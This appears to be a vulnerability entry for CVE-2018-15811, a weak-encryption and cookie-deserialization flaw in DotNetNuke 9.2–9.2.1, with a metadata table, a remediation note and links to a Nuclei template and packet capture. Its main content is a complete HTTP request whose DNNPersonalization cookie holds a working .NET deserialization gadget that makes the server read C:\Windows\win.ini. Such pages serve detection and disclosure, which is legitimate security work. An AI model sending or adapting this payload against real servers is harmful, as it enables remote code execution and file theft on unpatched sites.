| Title | DotNetNuke 9.2 - 9.2.1 - Weak Encryption & Cookie Deserialization |
|---|---|
| Author | pdteam |
| Severity | High |
| Impact | Attackers can exploit weak encryption to decrypt or tamper with input parameters and execute arbitrary code through cookie deserialization attacks. |
| Remediation | Update to DotNetNuke version 9.2.2 or later which addresses the weak encryption issues. |
| CVSS Score | 7.5 |
| EPSS Score | 0.91142 |
| CVE ID | CVE-2018-15811 |
| CWE ID | CWE-326 |
| Fofa Query | app="dotnetnuke" |
| Tags | cve cve2018 dotnetnuke crypto deserialization rce kev dnnsoftware vkev vuln |
DNN (DotNetNuke) versions 9.2 through 9.2.1 use a weak encryption algorithm to protect input parameters. This cryptographic weakness enables attackers to craft malicious DNNPersonalization cookies that can be deserialized, leading to remote code execution.
GET /__ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Connection: close
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Cookie: dnn_IsMobile=False; DNNPersonalization=<profile><item key="name1: key1" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ExpandedElement/><ProjectedProperty0><MethodName>WriteFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">C:\Windows\win.ini</anyType></MethodParameters><ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-15811.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-15811.pcap
N/AN/A